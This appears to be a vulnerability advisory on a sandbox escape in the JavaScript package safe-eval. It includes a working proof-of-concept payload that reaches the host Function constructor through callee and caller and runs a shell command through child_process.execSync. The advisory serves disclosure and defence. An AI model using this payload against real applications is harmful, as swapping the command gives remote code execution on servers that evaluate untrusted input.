Sandbox Breakout / Arbitrary Code Execution in safe-eval
Details
All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.
For example, the payload ``` ((() => { const targetKey = Object.keys(this)[0]; Object.defineProperty(this, targetKey, { get: function() { return arguments.callee.caller.constructor( "return global.process.mainModule.require('child_process').execSync('pwd').toString()" )(); } }); })();``` may be used to print the `pwd` to the console.
